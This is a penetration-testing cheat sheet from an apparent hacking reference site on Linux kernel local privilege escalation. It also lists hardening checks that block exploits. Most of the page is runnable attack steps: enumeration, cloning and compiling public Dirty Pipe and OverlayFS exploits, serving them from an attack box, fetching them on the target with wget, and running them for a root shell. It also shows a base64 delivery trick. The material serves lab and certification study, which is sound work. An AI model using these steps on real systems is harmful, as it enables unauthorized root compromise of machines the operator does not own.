# Linux Kernel Local Privilege Escalation

> Exploit misconfigured kernels, SUID binaries, and kernel vulnerabilities to escalate from low-privileged user to root on Linux systems.

- **URL:** https://hackindex.io/platforms/linux/privilege-escalation/kernel-local-privilege-escalation
- **Path:** Linux > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/linux/privilege-escalation.md)
- **Published:** 2026-02-13
- **Updated:** 2026-07-14

Kernel exploits run at the highest privilege level. A failed attempt typically causes a kernel panic and crashes the system. Treat kernel exploitation as a last resort after exhausting all userspace vectors: sudo misconfigs, SUID binaries, cron jobs, and service misconfigs should all be checked first.

See [https://hackindex.io/platforms/linux/privilege-escalation/privilege-escalation-enumeration-tools](https://hackindex.io/platforms/linux/privilege-escalation/privilege-escalation-enumeration-tools) for automated enumeration before attempting kernel exploitation.

## Prerequisites Check

Gather kernel version, distribution, and architecture:

**Kernel and Package Identification**

```bash
uname -a
uname -v
cat /proc/version
cat /etc/os-release
arch
# Linux target 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020 x86_64 GNU/Linux
```

Check exact package patch level: distributions backport security patches without incrementing the version number. `uname -r` alone is unreliable:

```bash
# Debian/Ubuntu
dpkg -l 'linux-image*' 2>/dev/null | grep ^ii
cat /proc/version_signature 2>/dev/null

# RHEL/CentOS/Fedora
rpm -qa 'kernel*' 2>/dev/null | sort
```

A kernel build timestamp from 2024 is almost certainly patched against 2022 exploits regardless of version number.

## Hardening Checks: Exploitability Gates

Several kernel settings can completely block a PoC even on a vulnerable version. Check these before spending time on a specific exploit:

**Hardening Checks**

```bash
# Pointer restriction: hides kernel addresses from /proc/kallsyms
cat /proc/sys/kernel/kptr_restrict

# dmesg restriction: hides kernel log from unprivileged users
cat /proc/sys/kernel/dmesg_restrict

# Unprivileged eBPF: critical for modern LPE chains
cat /proc/sys/kernel/unprivileged_bpf_disabled

# Yama ptrace scope: restricts process attachment
cat /proc/sys/kernel/yama/ptrace_scope

# Perf event access
cat /proc/sys/kernel/perf_event_paranoid
```

Interpretation:

- `kptr_restrict=2`: kernel addresses hidden even from root in logs. Many exploits need to leak these via other means
- `unprivileged_bpf_disabled=1`: eBPF-based exploits will fail entirely
- `ptrace_scope=3`: no process attachment at all, blocks ptrace-based chains

Check Kernel Lockdown and Secure Boot: Lockdown mode restricts features even for root:

**Lockdown and Boot Status**

```bash
cat /sys/kernel/security/lockdown 2>/dev/null
# Values: none, integrity, confidentiality
mokutil --sb-state 2>/dev/null
```

Check loaded modules: many exploits require specific subsystems:

**Module and Config Mapping**

```bash
lsmod | grep -E "nf_tables|overlay|bpf|io_uring"

# Check kernel config for subsystem availability
zcat /proc/config.gz 2>/dev/null | grep -E "CONFIG_USER_NS|CONFIG_BPF_SYSCALL|CONFIG_NETFILTER|CONFIG_OVERLAY_FS"
grep -E "CONFIG_USER_NS|CONFIG_BPF_SYSCALL|CONFIG_NETFILTER" /boot/config-$(uname -r) 2>/dev/null
```

## Automated Enumeration

Run linux-exploit-suggester before picking a specific CVE:

```bash
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O /tmp/les.sh
bash /tmp/les.sh
```

If wget is unavailable, transfer from your attack box: see [https://hackindex.io/platforms/linux/privilege-escalation/privilege-escalation-enumeration-tools](https://hackindex.io/platforms/linux/privilege-escalation/privilege-escalation-enumeration-tools) for transfer methods.

Cross-reference with searchsploit. Exclude DoS exploits: they crash the target without giving you a shell:

```bash
searchsploit linux kernel $(uname -r | cut -d- -f1) --exclude="DoS"
```

## Risk Assessment: Pick the Right Exploit

Logic bugs are stable. Memory corruption is not.

**High safety: logic bugs:** These abuse flaws in permission handling or filesystem logic. They rarely crash the system. Examples: Dirty Pipe, OverlayFS, PwnKit.

**Low safety: memory corruption:** These abuse buffer overflows, use-after-free, or heap corruption. If memory offsets do not match the exact build, the system crashes immediately. Examples: heap overflows, Netfilter UAF exploits.

Always prefer logic bugs when available.

## CVE-2022-0847: Dirty Pipe

**Affected:** Linux kernel 5.8 to 5.16.10 / 5.15.24 / 5.10.101

The most reliable kernel exploit for modern labs. A logic bug in the pipe buffer allows overwriting data in read-only files including SUID binaries and `/etc/passwd`. Extremely stable: does not crash the system.

Check if vulnerable:

```bash
uname -r
# Vulnerable: 5.8.0 - 5.16.10, 5.15.0 - 5.15.24, 5.10.0 - 5.10.101
```

Also requires a readable file with existing page cache (any non-empty readable file works):

```bash
ls -la /etc/passwd
```

Exploit: overwrite `/etc/passwd` to add a passwordless root user:

```bash
# On attack box: clone and compile
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
cd CVE-2022-0847-DirtyPipe-Exploits
gcc -o exploit1 exploit-1.c

# Transfer to target
python3 -m http.server 8080

# On target
wget http://$LHOST:8080/exploit1
chmod +x exploit1
./exploit1
```

Exploit-1 modifies `/etc/passwd` and drops a root shell. After use it attempts to restore the original: verify the file is intact afterwards:

```bash
cat /etc/passwd | head -1
```

Alternative: exploit-2 injects a SUID shell:

```bash
gcc -o exploit2 exploit-2.c
./exploit2 /usr/bin/sudo
```

For a dedicated Dirty Pipe page see [https://hackindex.io/platforms/linux/privilege-escalation/dirty-pipe-cve-2022-0847](https://hackindex.io/platforms/linux/privilege-escalation/dirty-pipe-cve-2022-0847).

## CVE-2023-0386: OverlayFS SUID Privilege Escalation

**Affected:** Ubuntu kernels prior to 6.2 (Ubuntu 22.04 LTS, 20.04 LTS with HWE kernel)

A logic bug in OverlayFS allows a SUID binary from a lower layer to be copied to the upper layer while retaining SUID permissions: even when the upper filesystem is `nosuid`. Extremely stable, logic bug, does not crash the system.

Check if vulnerable:

```bash
uname -r
# Check Ubuntu kernel version
cat /proc/version_signature

# Confirm OverlayFS is available
grep overlay /proc/filesystems
```

Exploit:

```bash
# On attack box
git clone https://github.com/xkaneiki/CVE-2023-0386
cd CVE-2023-0386
make all

# Transfer fuse, exp, ovlcap to target
# On target
chmod +x fuse exp ovlcap
./fuse ./ovlcap/lower ./gc &
./exp
```

This drops a root shell via a SUID binary planted through the OverlayFS upper layer.

## CVE-2021-4034: PwnKit (Polkit pkexec)

**Affected:** All pkexec versions before patched releases (virtually every Linux distro pre-January 2022)

Technically a Polkit vulnerability but exploitable via userspace. Covered fully at [https://hackindex.io/platforms/linux/privilege-escalation/polkit-local-auth-escalation](https://hackindex.io/platforms/linux/privilege-escalation/polkit-local-auth-escalation).

## Netfilter / nftables Exploits

Require `nf_tables` module loaded and `CONFIG_USER_NS=y`:

```bash
lsmod | grep nf_tables
cat /proc/sys/kernel/unprivileged_userns_clone 2>/dev/null
```

Notable CVEs in this family:

- CVE-2022-32250: use-after-free in nf_tables (kernel 5.18)
- CVE-2022-1015: out-of-bounds write (kernel 5.16)
- CVE-2023-35001: stack OOB (kernel 6.3)

These are memory corruption exploits: lower stability, architecture-specific offsets. Use as fallback when logic bugs are not applicable.

```bash
searchsploit nftables
searchsploit nf_tables
```

## Compilation and Delivery

`gcc` is frequently absent on target systems. Compile on your attack box for the same architecture.

**Static compilation: safest, no dependency issues:**

```bash
gcc -static exploit.c -o exploit
```

**Cross-compile for 32-bit target on a 64-bit host:**

```bash
sudo apt install gcc-multilib
gcc -m32 -static exploit.c -o exploit_x86
```

**Match glibc version if not compiling static:**

```bash
# On target: check glibc version
ldd --version

# On attack box: compile against matching version or use static
```

**Deliver without wget/curl:**

```bash
# Base64 encode on attack box
base64 exploit > exploit.b64
cat exploit.b64

# On target: decode
base64 -d exploit.b64 > exploit
chmod +x exploit
```

> [!WARNING]
> Always compile from source yourself on OSCP: pre-compiled binaries from internet sources may be backdoored or rejected by exam rules.

## References

- [Linux Exploit Suggester](https://github.com/mzet-/linux-exploit-suggester) - Standard tool for kernel vulnerability identification
- [Exploit Database](https://www.exploit-db.com) - Primary source for exploit source code
- [CVE-2022-0847 Dirty Pipe Exploits](https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits) - Two exploit variants for the Dirty Pipe vulnerability.
- [CVE-2023-0386 OverlayFS Exploit](https://github.com/xkaneiki/CVE-2023-0386) - OverlayFS SUID escalation for Ubuntu 22.04/20.04.